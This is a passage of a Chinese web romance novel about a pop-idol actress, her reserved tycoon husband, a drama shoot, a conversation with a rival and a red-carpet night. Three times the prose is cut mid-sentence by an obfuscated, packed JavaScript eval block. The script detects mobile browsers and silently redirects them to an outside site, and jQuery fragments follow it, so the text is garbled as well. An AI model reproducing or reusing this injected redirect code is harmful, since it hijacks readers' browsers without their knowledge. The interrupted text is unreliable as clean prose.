裘司城轻飘飘地道出事实:“可你们是利益联姻,不是因为爱情结的婚。”
“有句话说,不以感情为基础的婚姻,都是耍流氓。”慈恒语气笃定,“我家风很好,不干这种没品的事。”
裘司城一下愣住了。慈恒这个回答,倒是出乎他的意料。
慈恒要说的话都说了,不想跟他在这浪费时间:“慢走,不送了。”
看他转身就走,头也不回,裘司城“啧”了一声:“没意思!”
电梯刚好停下,他无奈地笑了笑,耸耸肩走了进去。
温珍旎刷了牙,洗过脸,重新躺回床上,点开没追完的剧。见慈恒又回来了,有些意外,“你不回去吗?”
“不回。”慈恒答得干脆,进门就解衣服扣子,真不准备回去的架势。
“我都说要回家了……”温珍旎嘀咕着,起身把门锁上,“那你今晚睡哪儿?”
男人瞥她一眼,目光扫过床,没说话。
答案不言而喻,跟她睡。
林诺送的有换洗衣物和洗漱用品,慈恒洗完澡回来,站在床边递了一个眼神,温珍旎只得往旁边挪了挪,让出半边位置。
私立医院的床铺还好足够宽敞,两人并排躺着也宽裕。但是狗男人刚躺下,带着热源的身体就跟磁吸见了铁似的贴过来。
“我没洗澡。”温珍旎往旁边缩了缩身体,拉开距离,让他别挨着自己。
男人像是没明白她的意思,手臂自然而然地绕过她脖颈,搭在肩上,“我知道,只是睡觉,又不做别的。”
温珍旎:“……”他到底知道什么呀。
“不是看电视?”慈恒把她放着电视剧的手机往自己这边带了带,“看完这段赶紧睡觉。”
屏幕上播到了最新剧情,主要讲诉女主遭遇同事刁难,男主天神降临般出现在办公室,为女主解围并惩罚了同事。
其实这种小白花女主前期受尽欺负一直忍气吞声,后期在男主的帮助下崛起逆袭的套路早就烂大街了。往往看个开头,就能猜到后续剧情和结局。
温珍旎有一点很好奇:“你们男人是不是都喜欢柔弱似水,温顺体贴,需要被保护被呵护的娇花?也很享受这种被人需要的感觉?”
慈恒侧过头看她,“以偏概全。你自己说,你是娇花吗?”
温珍旎认真思索了片刻:“我对你温柔体贴是有的,也确实靠你得到了最好的资源。不过嘛……”
她话锋一转,“我有钱,有事业,男人对我来说,是消耗品,不是必需品。所以离开你,我也可以活得很好。”
把他归类成消耗品,虽然不好听,好歹比工具人顺耳多了。
这些先不说,但是温柔两个字……什么时候温柔体贴?在心里骂他狗男人的时候?
慈恒扯了扯唇,笑得勉强:“嘴上抹蜜,是个男人都爱听,但心里不见得拿我当回事。”
“胡说。”温珍旎微微睁大眼睛,瞪住他,“你是我老公,我把你装心里,怎么可能不当回事。”
慈恒懒得跟她分辨话里有几分真,几分假,只是示意播放的屏幕:“还看不看了?”
“看啊!看完就睡。”温珍旎立刻靠回枕头,乖乖躺好,摆出认真看剧的姿态。
39. 039
接下来的剧情是女主的前男友登场,在酒会上,功成名就的前男友对着女主冷嘲热讽,落井下石,害她在众人面前出丑。
温珍旎指着飘过的一句弹幕道:“他们说男人有钱就变坏。慈总,你认同这个说法吗?”
这个问题的刁钻程度堪比“我跟你妈掉河里,先救你妈还是救我?”。
慈恒回答的角度也比较剑走偏锋,他说:“我一直都有钱。”
一句话堵住了温珍旎后面的话,顺手揉了揉她脑袋,劝道:“偶像剧还是少看,本来就不聪明的脑袋再给看坏了。”
“你还题材歧视呢……偶像剧怎么了,甜甜的爱情可以刺激人体分泌多巴胺和内啡肽,帮助人类提高免疫力,好处不要太多了好吧。”
温珍旎一口气说完,然后侧过头,抓住搭在肩上的手,气腾腾地咬了他一口:“还有,我怎么就不聪明了?以后真的变笨了,那也是让你乌鸦嘴咒的。”
小狗牙还挺利索,动不动就给来一口。慈恒拧住她软乎乎的脸颊肉,看着屏幕,开始就剧情进入下一个环节的讨论。
此时男主再次从天而降,拯救女主于水火,还体贴地脱下西装外套披在她肩上,带她离开了酒会。
慈恒在这个地方产生了疑问:“男人为什么非得脱衣服给她披上?”
温珍旎想了想:“可能是塑造男主绅士,体现苏感。也有可能是占有欲作祟,不愿意被别人看到。”
以慈恒的直男思维,是无法理解这种仪式感的:“可是很热。”
“剧里是冬天。”
“你冬天穿礼服,都会记得自带外套,用不着男人的外套,而且那个也不好看。”
“……”他说的好有道理,她居然无法反驳。
但不能改变他是杠精的事实。
剧情很快推进到男主脱衣展现身材的名场面,温珍旎看着屏幕上线条分明的肌肉,鬼使神差地伸出一根手指,戳了戳慈恒的胸肌。
不带任何滤镜的说,还是他的手感更胜一筹。
她满意地肯定道:“老公,虽然你也有缺点,但是优点更多,总体而言,瑕不掩瑜。”
慈恒又用虎口掐她的下巴:“成语是你这么用的!”
“夸你都不行。”温珍旎小声咕哝一句,抿住唇噤了声,把视线转回屏幕,专心看剧。
下面的剧情有点无聊,还没播到一半的进度条,她就挺不住困意,卷了卷被子躺下。
慈恒关掉播放器,从她手里抽出手机,放到床头柜上。接着捞过自己的手机,打开百度搜索:
【演员吻戏是怎么拍的?】
【已婚女演员如何拍吻戏?】
搜索结果浏览下来,慈恒指尖在屏幕上停了几秒,按下侧键熄了屏。
他侧过身,将熟睡的温珍旎拢进怀里,温热的唇贴在她的耳边:“拍吻戏要借位,床上亲热戏戏让裘司城多穿几条裤子,把裤子穿厚点,听明白了?”
温珍旎睡意正浓,抬手捂住耳朵,咕哝着翻过身去:“……你好吵啊。”
男人手臂收紧,把人又扳回来一点,气息拂过她鼻尖:“那你说嗯。”
困极的人发出模糊的鼻音:“嗯。”
慈恒这才满意,下巴蹭了蹭她柔软的发顶:“真乖。”
隔天,剧组转场到市中心了。接下来几天的戏份需要在商业大楼内取景,因此橙子早上五点便过来接了人。
另一位女演员因为呛水情况较重,需要再休息半天,上午就没来。好在她的那场戏顺利通过了,无需补拍,所以今天的拍摄计划一点没耽误。
中场休息时,温珍旎从橙子手里拿回手机,躲到遮阳伞下,翻看起今天的新闻。
关于她的热搜早就撤下了,倒是剧里她饰演的那个角色,话题度还在飙升。
温珍旎划过那些流量奇高的通稿,表情很是意外:“昨晚的剧情,我也就露了几秒钟的脸吧?”
橙子凑过来看了两眼,跟她解释:“姐的白月光塑造得太成功了,剧组趁着热搜,放出花絮和上次拍的物料,狠狠赚了一波关注度。”
有热度的地方少不了争论,温珍旎好奇地搜了实时,有说她因祸得福的,有说她落水是为了炒作的。
看到后面一些过于悬浮的评论,她跟橙子都没忍住笑出了声。
“笑什么呢?”
来探班的秦清递给她一杯果茶,问道:“今天感觉如何?”
温珍旎吸着果茶,自信满满地点头:“找着感觉了,感觉良好。”
她拍戏的时候,秦清就站在旁边观察,对她今天的表现还是给予了肯定:“确实进入状态了,进步相当大。”
“只是有些不够自然,表情如果再收着点,感情层次再细腻些,效果会更好。”
她说到关键点上了,温珍旎也觉得是这么回事:“回去我再琢磨琢磨。”
裘司城远远地走过来,笑着说:“大概是我们太熟悉了,还没有磨合到位。”
两人是相识多年的朋友,秦清也略有耳闻:“裘老师和珍旎认识这么多年,还是第一次合作吧。”
裘司城两手一摊:“所以说这到底是什么运气,换乘恋爱都好几轮了,现在才轮到我们。导致我和旎儿私下熟,拍戏不熟。”
他说完,周围的人都捧场笑了。
说什么换乘恋爱,那都是调节气氛的玩笑话。
在这个圈子里,裘司城这个级别的,早就和国际大导、金牌经纪人等一众业内顶尖人物混得脸熟了。秦清跟他也接触过好多次,不论是人品,还是业务能力,印象都极其不错。
裘司城愿意接下这部偶像剧,归根结底,还是温珍旎赚了。
因此,秦清同他聊了好一会儿,直到开拍才结束谈话。
临走前,秦清跟温珍旎叮嘱:“月底‘名人之夜’的行程定下来了,你和裘司城一起走红毯,别忘了。”
“好,我记住了。”温珍旎干劲十足地点点头,把果茶杯子给橙子,“那我拍戏去了。”
“去吧。”秦清鼓励道,“好好拍。”
下午的拍摄紧锣密鼓地进行着,先是办公室戏份,随后转场到繁华的商场里。
时值周五下班高峰期,拍摄现场吸引了大批路人驻足围观,将周围挤得水泄不通,连带着商场都比往常热闹不少。
姜琳带着助理从商场直梯出来,天色已经暗了,恰逢剧组收工,乌泱泱的工作人员簇拥着几位主演,朝她们的方向走来。
走在最后的女演员,身边追随的粉丝格外多。她被保镖护在中间,扬着笑脸,不停朝四周的人挥手,引得商场里的尖叫声此起彼伏。
那名女星穿着春季戏服,大概是考虑到上镜,妆容在灯下显得分外浓重。
但那双盛满了星光的眼睛太有特色了,但凡见过一次就很难忘记。
何况,是姜琳近距离见过无数次的。
迷离的灯光下,姜琳嘴唇轻抿,握着手机的指节因为过于用力而透出青白。
“姜总?”身后的助理察觉到她的异常。
“那个女演员是谁?”姜琳的目光紧随人群的焦点。
“姜总不关注娱乐,可能不了解,她是女团sweety的主舞温珍旎。”
看着上司骤然绷直的脊背,助理有些疑惑:“姜总,您是不舒服吗?”
“没有。”姜琳收回视线,声音恢复了平静,“你先下班吧,我还有点私事。”
随着人群涌向商场外面,姜琳跟了上去。她看着温珍旎被工作人员塞进保姆车,也招手拦下一辆出租车。
约摸半小时后,换了便服的温珍旎戴着口罩从保姆车上下来,快步走进一家融合菜餐厅。
找到预订好的餐位,裘司城已经坐那儿等着了。
温珍旎摘了口罩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110735|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,刚在他对面落座,今晚的东道主奚淼就踩着点,风风火火地冲了进来。
“他爸的!”奚淼气都没喘匀,一把将包包甩进沙发椅里,脸色胀红,显然气得不轻,“慈恒那个王八蛋居然把我给拉黑了!我刚给旎宝打电话的时候才发现。”
翻杂志的裘司城顿住手,笑看她一眼:“哟,你这是得罪他了?”
“我又不是第一天跟他看不对眼!”奚淼很有自知之明,她指着温珍旎,“宝,把你手机拿出来看看。”
温珍旎真不知道这事,有些懵地把通讯录黑名调出来。
还真给拉黑了。
“……”可能是昨晚那会儿吧。
“瞧见没有,肯定是那个王八蛋趁旎宝不注意,给我拉黑的。”奚淼气不打一处来,“以后我再说他一句好话,我就是狗。”
“消消气。”看她激动成这样,裘司城赶紧递上一杯柠檬水,“这次我得说句公道话。昨天旎儿的电话就没停过,就数你打的最多,几十个电话连续轰炸,是我也遭不住。”
奚淼瞪他:“你站哪头的?!”
裘司城和和气气地说:“对事不对人。”
“好啦。”温珍旎把她从黑名单放出来,“为了赔罪,这顿饭我请。”
“别跟我抢,说好我请的。”
奚淼上一秒还气得要死,这会儿立马切换到笑脸模式,“告诉你们一个好消息,我们南国记争取到了‘名人之夜’主持人的服装赞助了。”
“哇,厉害了!”温珍旎最捧场,立即给她鼓掌,“恭喜,咱们南国记又迈出了一大步。”
奚淼两手向下压:“低调低调,苟住继续发育。”
她跟朋友合开的服装工作室,裘司城是知道的。本着大家是从小到大的发小,他是能帮则帮,“旎儿上回穿的那个什么鲤鱼,我看挺好,很有前景。要不你帮我做一身名人之夜红毯穿的礼服。”
能让三金影帝穿去红毯走一遭,那是多少人求都求不来的。
“那就说定了啊。”奚淼完全不跟他客套,“南国记偏日常的款式多,礼服的话要向装饰性靠。明霞设计的几款礼服才打了样回来,明天我拿来给你的团队看。”
“那我的呢?”温珍旎抱住她的手摇晃,“我也要有,你不能厚此薄彼啊。”
作为商人,奚淼当然来者不拒,但作为朋友,她只能摇头:“你是流量女星,到时候被全网嘲租不起蓝血礼服,我就是千古罪人了。”
“哪有那么严重。”温珍旎不认同,“我们国风元素不比那些大牌差,你这是妄自菲薄!”
“旎儿说得对。”裘司城给了奚淼一剂定心丸,“我跟旎儿走红毯,要嘲也是一起嘲。两个人分担,也就分散了火力,而且还能多带些热度。”
“也对噢。”奚淼犹豫了几秒,“那……我跟你造型师谈?”
温珍旎点头:“谈啊,我跟秦姐说一声,她不是老古董,会考虑我的建议。”
出来吃顿饭,就拿下了两个top级服装赞助,奚淼进门时的阴霾一扫而光:“我得赶紧把好消息告诉明霞。”
她指尖飞快地敲着字,给明霞发消息,这边服务生也开始上菜了。
因为是奚淼临时请客,温珍旎一早就给慈恒发过消息了,告诉他有聚餐,会晚点回去。
这会儿收到回复,他说他就在附近应酬,结束后顺道来接她。
所以晚餐一结束,温珍旎就和奚淼裘司城分开了。
她去了趟洗手间,一边用擦手纸擦手,一边往出口方向走。
刚到休息等待区,慈恒的电话就打了进来:“出来吧,车在外面。”
“好,马上来。”她准备挂断电话,一道身影倏然挡在身前,遮住了前方的亮光。
温珍旎下意识抬起头,视线里的女人穿着职业套裙,栗色卷发很随意地绑在脑后,只有几缕发丝垂落在颊边。
40. 040
姜琳喷了一款很淡的香水,恬淡的味道,意外的抓人。倒是无意间柔和了凌厉,更衬她的气质。
“有兴趣聊聊吗?”姜琳开门见山。
今天她身上的那股傲劲儿淡了些,态度还算可以。
温珍旎看了眼时间,和电话那头的男人道:“等我二十分钟,跟姜小姐说两句话。”
那边默了一瞬:“我过来。”
温珍旎拒绝了:“不用了,你已经出局了,现在是我和她之间的事。”
她挂断电话,邀请姜琳到旁边的沙发说话,问服务生要了两杯橙汁。
“姜小姐有话就请直说,”温珍旎也很直接,笑着说,“还有人在等我。”
“是慈恒?”姜琳脱口问道。
话一出口,方才察觉这问题显得多余了,姜琳后知后觉地笑了下:“说实话,同学会那天,我有被狠狠打击到……尤其是那条朋友圈动态。”
她顿了顿,神情显得有些自嘲:“我承认,当时太不甘了,所以订了那束百合花,想要膈应你。只是没想到,慈恒的态度会那样坚决。”
道出心里话,尤其是在温珍旎面前,姜琳几乎耗尽了全部勇气。
但说出口的刹那,她竟有一丝松快,就好像突然卸下千斤重担。
“你是他太太吧?”她问道。
温珍旎点头:“结婚快三年了。当初我带了丰厚的嫁妆和他结婚,慈家的股份,除了公婆,我是最大的个人持有者。”
她这句回答,表面看似炫耀,但更多是在展示自己的底气。
听到她亲口承认,姜琳心里还是有那么一点不是滋味。
像她这样骄傲自负的人,心有不甘,温珍旎完全能理解。
她想了一下,轻笑道:“以慈恒的为人,就算是一桩始于利益、没有感情的婚姻,他也会努力去维系。”
说到这里,她自己都愣了愣,似乎也明白了,为什么在慈恒身边时,她会卸下心防去依赖他,也总是本能地体谅他的难处。
她近乎是喟叹地总结:“喜欢上他这样的人,是很容易的事。”
姜琳攥着发热的手机,心头涌起了万千思绪。那些过于美好的过往,此刻就像锋利的刀,把她的幻想全部绞成了碎片。
“你知道吗,我的毕业舞会上,他曾作为我的舞伴出席。我记得那天跳的是华尔兹《春之声圆舞曲》。我以为,他对我是有好感的。”
温珍旎听了,觉得这很荒唐,怎么会有人把跳舞当作好感。
“姜小姐,那只是高中舞会的正常社交。如果我没记错的话,那天至少有七八个女生邀请他跳舞,但没有一个人像你一样,解读成好感的信号。”
“当然,如果他让你产生了误会,我会让他当面跟你解释清楚,并且向你道歉。”
温珍旎戳穿了她的粉红幻想,用最温柔的话,向她泼了最冷的一盆水。
“我知道,和喜欢的人出席舞会,是很美好的回忆。如果你当时勇敢一点,或许有一半的机会。可惜你太骄傲了,在感情上不够勇敢,你以为默默注视,会等到他先反应过来,主动向你表明心迹。但实际上,在你看不见的地方,还有很多跟我一样的人。”
话很直接,姜琳的心一点点往下沉:“可能是没有得到过,所以我不甘心。我想要的东西,从来没有得不到的。”
就像某个领域的最高奖项,如果终其一生都得不到,就不能证明自己的厉害。
没有得到过,于是有了朱砂痣,白月光。
温珍旎笑了起来,“从这点来看,我们是同一类人。我看上的,也会尽力去得到。只是我比你幸运了那么一点,我看上的人,他也愿意来到我身边,接受我所有的不完美。”
温珍旎看着眼神迷茫的女人,作为女人,她其实很欣赏她的能力:“姜小姐凭自己的能力考上一中,参加各类国际竞赛,获得无数奖项,然后出国深造,拿到海外大公司offer,做出很多经典案例,你的履历已经足够让很多人望其项背了。只要你多看看其他人,会发现有势均力敌的人在注视着你。你又何必钻死胡同呢。”
姜琳怔住,她突然看不明白,坐在面前的,到底是怎样一个人。
即便在她三番五次试图介入她婚姻的情况下,都没有说出太令人难堪的话。
那份由内而外的从容和底气,让姜琳心底蔓生出一丝嫉妒。
她忍不住问:“难道你就一点不担心,他会被别人抢走?毕竟你们新婚不久,他就去了海外。”
温珍旎唇角勾起,这个问题其实很好回答的,“今天能轻易被你抢走,明天也会被其他女人抢走。这样的男人配不上我,而我也不是过错方,不需要自我反省。”
她的答案和她的气质太有反差了。
姜琳有点被震住:“如果……我是说如果,有一天有了变数,你们的婚姻走到了尽头,你要怎么面对这段感情经历?”
过程是太美好的感情,如果以悲剧收场,那将是何等的意难平。
温珍旎看着姜琳,眼里是存粹的不理解。她不明白姜琳为什么这么悲观。
“干嘛要预支未来的不幸?至少我现在很享受拥有的。”
她眼里带着通透和存粹:“最爱的时候,我会毫无保留地拥抱一个人。将来世事变迁,大不了好聚好散,再寻找下一段幸福。又或者是,单身万岁。”
姜琳抿紧唇,一时说不出话。
她自诩聪慧过人,但在感情上,显得是那么苍白无力。
就在她不知道该如何回应时,温珍旎搁在桌上的手机屏幕骤然亮起,一段急促的震动声打断了沉默。
是一通电话,不用看,也知道是谁打的。
“看来他已经等不及了。”姜琳觉察自己耽误了太久,攥着手机起身,微微颔首,“就不送你了。”
温珍旎戴好口罩,转身准备离开,姜琳轻声唤住她:“等等,我该怎么称呼你?”
温珍旎回眸,眼底亮得盛满了星辉,“温珍旎。温暖的温,珍珠的珍,方字旎的旎。”
“珍旎……”
姜琳在舌尖咀嚼着这个名字,被触动了一下,“听上去像在说珍你。”
温珍旎没有回答,只是弯起眸子:“再见。”
这次没有再停留,她抬手挥了挥,快步朝餐厅外走去。
姜琳落后她几步,踏出餐厅大门,一眼看到了那辆熟悉的宾利安静地泊在门前,慈恒倚在车旁,身影在夜色下分外矜贵。
他抬眼看向这边,她远远地投去一个微笑,第一次没有上前去打招呼,只是远远地站在廊檐下。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123185|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>直到车子发动,汇进车流,她掏出手机,指尖在屏幕上点了几下。
相册被打开,滑动片刻,最终停在了一张自拍照上,指尖轻触,将其设置新的锁屏。
换掉背景图的那一刻,陈年旧事也卸下了。
她长长地舒了一口气,只觉这个夏日的风都轻盈凉爽了……
“怎么自己开车,不是应酬去了?”
宾利汇入车流,温珍旎侧头看了眼主驾上的男人,随口问起。
“让司机下班了。”慈恒目视前方,回得简洁。
“你怎么不问我跟她说了什么?”温珍旎眨着眼,带点好奇,“她可是主动来找我的。”
慈恒表情平静:“你愿意说的话,自然会告诉我。”
这么沉得住气啊?要是换成自己,肯定会忍不住八卦。
温珍旎目光在他侧脸上流转,伸手过去,放在他的腿上,“那我就大发慈悲告诉你好了。”
慈恒握着方向盘的手不觉收紧,但表情依旧淡定,只是偏了下头,示意在听。
“她问我,你在海外的时候,会不会担心你被人抢走。我就告诉她,能被抢走的男人,是配不上我的。”
温珍旎说完,观察他的反应:“你会不会生气?”
慈恒的嘴角向上牵动了一下:“比这更霸道的话你都说过了,我要是生气,怕是气不过来。”
“哪有霸道……”温珍旎心头一跳,面上笑得更加明媚,“不过看她的样子,应该是放下了吧。”
“嗯。”
他不太想在这种事上纠缠,没有表态,低应了一声后,转移话题:“这部戏还要拍多久?”
“开机都没几天,早着呢,而且过段时间要去古镇取景。”
新剧里自己的戏份应该是没有了,热度迟早会散,接下来她可以心无旁骛地专注手头这部戏,尽力把它拍好。
“明天拍什么内容?”他问。
温珍旎:“主角的学生时代,青涩懵懂,又美好存粹的感情。”
慈恒眼睛微眯:“高中就敢谈恋爱?”
“青春期的少男少女,谁还没点悸动。”温珍旎在他大腿上轻挠,“顶多就偷偷牵一下小手,还没到生理性喜欢那步。”
慈恒没躲,任由微痒的触感蔓延。直到红灯亮起,车子停稳,他才倏然抓住她的手,在掌心缓缓收紧。
还生理性喜欢?到那步还得了。
他哼道:“这么有体会,你读书的时候没少青春悸动?”
“我承认,是有那么两三个有好感的异性。”温珍旎反问他,“我不信你没有。”
慈恒给她一个眼神,“我洁身自好,感情履历干净,没有前男友,没有前女友,更没有两三个有好感的异性。”
熟悉的阴阳怪气虽迟但到。温珍旎不甘示弱地反驳他:“是你自己眼光高不愿意,只要你想,爱慕者可以从这里排到法国。”
“够夸张的。”
慈恒眼风扫过她鼓起的脸颊,还是惯有的毒舌:“法国到首都是多远,你是真的没有概念,地理是体育老师教的?”
温珍旎被他堵了一下:“……夸张手法而已。”
接着小声嘟囔:“一点情调都没有。”
要不是在开车,她非扑过去亲烂这张嘴不可。
41. 041
二十分钟后,车子驶入地下室,停进车位。
温珍旎解开安全带,揉着发酸的脖子,“终于到家了。”
指尖还没触到车门把手,一只手臂横过来,猛地将她拖进了坚实的怀抱。
结实有力的手臂将她困在座椅间,额头毫无防备地撞上他的下颌,一股闷痛传来。
“你干嘛?”温珍旎揉着额头,声音带着惊吓,“搞偷袭啊?”
车里空间窄小密闭,被两人放大的呼吸声填满。
男人身上的低气压将她整个人罩住,“理性探讨一下,生理性喜欢。”
慈恒扯下眼镜,扔进扶手箱,随即拇指掐住她的脸,迫她转向自己,“记住这种感觉,说不定对你拍戏有用。”
下一秒唇便压了下来,强势得不容反抗。
温珍旎背脊陷进靠背里,气息交织,脑子里一片混沌。
片刻后,他退开些距离,指尖轻轻碾住她的唇角,声音低沉:“今天有拍天台吻戏?”
“没有。”拍的都是商场。
……不对,他怎么就突然扯到吻戏上来了。
“你该不会是吃醋了?”温珍旎捧住他的脸,本来是调侃的,却被更深的吻截断了话音。
她“唔唔”地叫了几声,指尖蜷缩,揪紧了他后背的衣料。
车窗隔绝了外面的世界,狭小的空间只剩下细微的声音。
是衣服摩擦的声音,还是亲吻的声音,分不清了。
温珍旎眼睫颤动着,眼前人的五官轮廓逐渐与记忆里少年的面孔重叠。
当她凝神想要看清,慈恒的轮廓模糊了,倒是裘司城那张脸清晰地放大了。
“咔”地一声,场记板落下,瞬间将她从车里拽回片场。
“好,这条过了。”导演满意地拍拍手,“大家休息一下。”
温珍旎深深吐出一口气,双手用力拍着脸,让自己清醒。
“姐,姐。”橙子小跑着撑开伞遮过来,同时递上水杯,“喝水。”
温珍旎捧着杯子喝水,裘司城跟过来,朝她竖起大拇指,“旎儿,今天进步神速啊,刚刚那眼神,我差点以为你真的爱上我了。”
“一般一般,全靠裘老师带的好。”温珍旎说着谦虚的话,其实嘴角快压不住了。
哪里是进步了,分明是昨晚的记忆深刻,导致今天过于投入,一时情难自禁,忘了自己在拍戏。
不过还别说,上阵实践是比自己瞎琢磨管用。
温珍旎脸上有些热,赶紧转移话题,“城哥,礼服你看了吗?”
裘司城点头:“早上看了,尺寸需要调整一下。”
他的工作室接受了南国记的服装赞助,秦清觉得机会难得,也很快敲定了合作。
于是当天晚上,奚淼就把备选的礼服图片发给服装师甄选,隔天一早,直接将成衣送来给她试穿。
接下来几天的拍摄,转场到校园,主要对准女主角青春懵懂的学生时代。
其实就是少男少女的青涩悸动,所谓的吻戏,纯粹是裘司城胡说八道,故意膈应慈恒的。
因为学生时代的戏份至关重要,拍摄持续到了月底。
月底就是名人之夜盛典,在天海的城市之心举行。
活动当天,团队跟剧组告了假,温珍旎一早就起身梳化,为红毯拍摄预热造型。
她这次的国风造型选了松绿色的十破裙,上身搭配素白抹胸,颈间用一串莹润的珍珠点缀,温雅大气,跟以往的风格有所出入。
裘司城则穿着白色唐装,肩线处是银色丝线绣的修竹纹样,金属飞机扣取代了传统盘扣设计,区别于那些常规西装礼服,更有休闲的味道。
三金影帝与顶级女流量携手亮相红毯,已经相当吸睛了。
偏偏两人还都穿了南国记赞助的礼服,风格统一,不是情侣装,视觉效果上也像极了情侣装。
反正这组合一经亮相,就saly了全场,热搜讨论度直接断层领先。
车里,慈恒的目光随意掠过巨幕,都能看到滚动播放的红毯现场。
“太太唱了两首歌,还拿了年度潜力演员。”
坐旁边的陆方洋划着热搜,看得津津有味。
“都说般配呢。嘿,连CP粉都有了。”
“还别说,这张抓拍挺有氛围感的,像那么回事。”
他跟只苍蝇似的,不停嗡嗡就罢了,还嫌事不大地问旁边脸色越来越黑的男人,“慈总,您就没有一点危机感?”
“尊重妻子的事业追求,是做丈夫的基本素质。”慈恒冷冷瞥他一眼,“过度解读同事之间的正常营业,你脑子里成天想些什么乱七八糟的东西。”
得!要不说是集团掌舵人呢,这气量一般人还真没有。
陆方洋笑着说是,把手机往他那边倾斜了角度,“慈总您看,这照片拍的不错吧。”
慈恒余光晃了一眼,拍到的画面是温珍旎上台领奖,裘司城在旁边注视的瞬间。
构图不错,故事感抓的是很好,但他的评价是:“一般。”
陆方洋摇着头。口是心非了吧。
那了然的神情看得慈恒不爽,皱着眉赶他,“你自己没车,为什么要在我车上?”
“好嘞,我这就下车。”陆方洋收起笑容,扬声朝主驾上的人道,“林秘书,就在前面靠边停。”
倒是巧的很,他们现在就在城市之心附近,还是回家必经之地。
把陆方洋放下车后,林诺发动车子,看了眼后视镜,“慈总,太太那边已经结束了,我们要等太太一起回吗?”
慈恒看向车窗外,场馆出口簇拥着不少粉丝,还有大量媒体。
他指节在扶手上叩了两下,收回视线:“靠边等。”
林诺应了一声,将车滑向临时停靠带。
温珍旎这边散场后,挽着钟雪说了会话才告别。
从通道出来,她坐上保姆车,橙子第一时间把手机给她。
看到几分钟前慈恒发的微信,温珍旎满脑袋问号,直接回了电话。
“我自己回去就行,不用来接的。”
慈恒面色镇定地解释:“路过,顺道接你下班。”
这是顺道的事吗?温珍旎深吸一口气,“各大媒体都在,借我一百个胆,也不敢跟你一辆车。”
那边选择性地忽略了她的话,言简意赅地说道:“车在对面路边。”
温珍旎拿他没办法,“你今晚有点霸道。”
慈恒也不介意继续霸道,“你过来,不然我进去,你选……”
“……我选一!一!”
温珍旎放弃挣扎,用力吸了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136503|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一口气,“这就来。”
挂断电话,她赶紧换了衣服,戴上口罩墨镜,用丝巾裹住脑袋。
外面媒体云集,放眼望去都是人。人多眼杂是真的,但越危险的地方越安全也是真的。
温珍旎把丝巾遮到眉骨,借着人潮混乱的时机出了通道。
车还真就停在对面,三牌宾利就这么招摇过市,丝毫没有避嫌的意思。
路过的人都看到了,好些人在偷偷拍照,温珍旎顶着热辣辣的视线,狼狈地跑过去,将自己塞进后座。
“这是什么装扮?”
看她把自己裹得只剩下眼睛,慈恒觉得挺好笑,“玩角色扮演?”
温珍旎把装束全部去掉,露出嘴唇吐了口气,“我要是不这样,明天就该上热搜了。标题我都想好了,‘某女星疑似被富豪包养,深夜豪车接送。’”
虽然她已经在做了随时被曝光的准备,但话说回来,半夜曝热搜,会影响睡眠。
“曝光就公开。”慈恒语气不爽,“难道女明星就不能结婚了?还是我拿不出手!”
看来他对自己的身份还是缺乏清晰的认识。
温珍旎扯了扯他的袖子,“老公,你这尊大佛金光太盛,我现在的命格还压不住,只能暂时委屈你在幕后屈就一下了。”
她举双手向他保证,“等到时机合适了,我一定大大方方公开,给你一个名分。”
身边的男人睨着她,一声轻哼:“不当演员,改看命格了?那你给我算一卦,今晚哪只脚先进门?”
这嘴平时惜字如金,私下太能叭叭了,到底还是亲少了。
温珍旎不打算惯他了,侧过身,直接吻了上去。
柔软的触感骤然落在唇上,慈恒脑中“嗡”的一声,全身的血液似乎都倒流了。
他僵在宽大的座椅里,瞳孔微张,连呼吸都忘了,被这个出乎意料的吻钉在了原地。
却也抚平了方才那一丝悒郁和不快。
这还是她第一次在外人在场的情况下,做这种出格的举动。
他大概是被温珍旎的霸道给征服了,一路上都没说话。
嘴是不毒了,但是他事后悄无声息地发了评论。
温珍旎发现自己上热搜的时候,人已经在古镇了。
这边取景任务重,粗略估计要呆上一个多月。她清早出发,抵达已经是中午,马不停蹄地开工。
拍完戏份吃晚饭时,橙子突然告诉她上了热搜。
本来是她和裘司城的造型出圈热议,谁知道因为一条评论,两家粉丝直接在热搜里打起来了。
因为一个初始账号,在CP粉的评论区丢了一句:
【裘司城一般。】
对方粉丝彻底炸了。
有人扒了账号主页,发现属性偏好温珍旎,于是这口恶气自然而然地撒到了温珍旎头上。
热搜里顿时骂声一片,珍珠们当然不可能任其唾骂,立刻发起反击。
一来二去,好好的一个出圈热搜发展成了两家的战场。
真要论起来,就只是一句再普通不过的评论。
就算是大粉口无遮拦说出来的,比这厉害的也海了去了,怎么偏偏就这一句评论,掀起了这么大的风浪?
